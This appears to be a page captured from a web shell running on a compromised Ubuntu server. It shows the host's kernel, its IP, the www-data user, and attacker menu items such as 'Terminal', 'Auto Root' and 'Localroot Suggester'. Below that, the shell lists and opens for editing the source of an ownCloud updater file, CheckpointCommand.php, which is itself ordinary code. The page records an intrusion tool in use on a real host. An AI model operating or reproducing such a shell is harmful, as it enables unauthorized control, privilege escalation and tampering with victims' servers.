Linux anchor 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
Apache/2.4.18 (Ubuntu)
Server IP : 10.10.100.4 & Your IP : 216.73.217.150
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
owncloud-prm /
updater /
src /
Command /
Delete
Unzip
Name
Size
Permission
Date
Action
BackupDataCommand.php
1.28
KB
-rw-r--r--
2018-04-19 18:16
BackupDbCommand.php
1.27
KB
-rw-r--r--
2018-04-19 18:16
CheckSystemCommand.php
3.42
KB
-rw-r--r--
2018-04-19 18:16
CheckpointCommand.php
3.19
KB
-rw-r--r--
2018-04-19 18:16
CleanCacheCommand.php
1.27
KB
-rw-r--r--
2018-04-19 18:16
Command.php
1.21
KB
-rw-r--r--
2018-04-19 18:16
DetectCommand.php
5.72
KB
-rw-r--r--
2018-04-19 18:16
ExecuteCoreUpgradeScriptsCommand.php
6.52
KB
-rw-r--r--
2018-04-19 18:16
InfoCommand.php
1.47
KB
-rw-r--r--
2018-04-19 18:16
MaintenanceModeCommand.php
2.03
KB
-rw-r--r--
2018-04-19 18:16
PostUpgradeCleanupCommand.php
2.62
KB
-rw-r--r--
2018-04-19 18:16
PostUpgradeRepairCommand.php
1.37
KB
-rw-r--r--
2018-04-19 18:16
PreUpgradeRepairCommand.php
1.36
KB
-rw-r--r--
2018-04-19 18:16
RestartWebServerCommand.php
1.31
KB
-rw-r--r--
2018-04-19 18:16
StartCommand.php
2.29
KB
-rw-r--r--
2018-04-19 18:16
UpdateConfigCommand.php
1.28
KB
-rw-r--r--
2018-04-19 18:16
Save
Rename
<?php /** * @author Victor Dubiniuk <dubiniuk@owncloud.com> * * @copyright Copyright (c) 2015, ownCloud, Inc. * @license AGPL-3.0 * * This code is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License, version 3, * as published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License, version 3, * along with this program. If not, see <http://www.gnu.org/licenses/> * */ namespace Owncloud\Updater\Command; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; /** * Class CheckpointCommand * * @package Owncloud\Updater\Command */ class CheckpointCommand extends Command { protected function configure(){ $this ->setName('upgrade:checkpoint') ->setDescription('Create or restore ownCloud core files') ->addOption( 'create', null, InputOption::VALUE_NONE, 'create a checkpoint' ) ->addOption( 'restore', null, InputOption::VALUE_REQUIRED, 'revert files to a given checkpoint' ) ->addOption( 'list', null, InputOption::VALUE_OPTIONAL, 'show all checkpoints' ) ->addOption( 'remove', null, InputOption::VALUE_REQUIRED, 'remove a checkpoint' ) ; } /** * @param InputInterface $input * @param OutputInterface $output * @throws \Exception */ protected function execute(InputInterface $input, OutputInterface $output){ clearstatcache(); $checkpoint = $this->container['utils.checkpoint']; if ($input->getOption('create')){ try { $checkpointId = $checkpoint->create(); $output->writeln('Created checkpoint ' . $checkpointId); } catch (\Exception $e){ $output->writeln('Error while creating a checkpoint'); throw $e; } } elseif ($input->getOption('remove')){ $checkpointId = stripslashes($input->getOption('remove')); try { $checkpoint->remove($checkpointId); $output->writeln('Removed checkpoint ' . $checkpointId); } catch (\UnexpectedValueException $e){ $output->writeln($e->getMessage()); } catch (\Exception $e){ $output->writeln('Error while removing a checkpoint ' . $checkpointId); } } elseif ($input->getOption('restore')) { $checkpointId = stripslashes($input->getOption('restore')); try { $checkpoint->restore($checkpointId); $checkpoint->remove($checkpointId); $output->writeln('Restored checkpoint ' . $checkpointId); } catch (\UnexpectedValueException $e){ $output->writeln($e->getMessage()); } catch (\Exception $e){ $output->writeln('Error while restoring a checkpoint ' . $checkpointId); } } else { $checkpoints = $checkpoint->getAll(); if (count($checkpoints)){ foreach ($checkpoints as $checkpoint){ $output->writeln(sprintf('%s - %s', $checkpoint['title'], $checkpoint['date'])); } } else { $output->writeln('No checkpoints found'); } } } }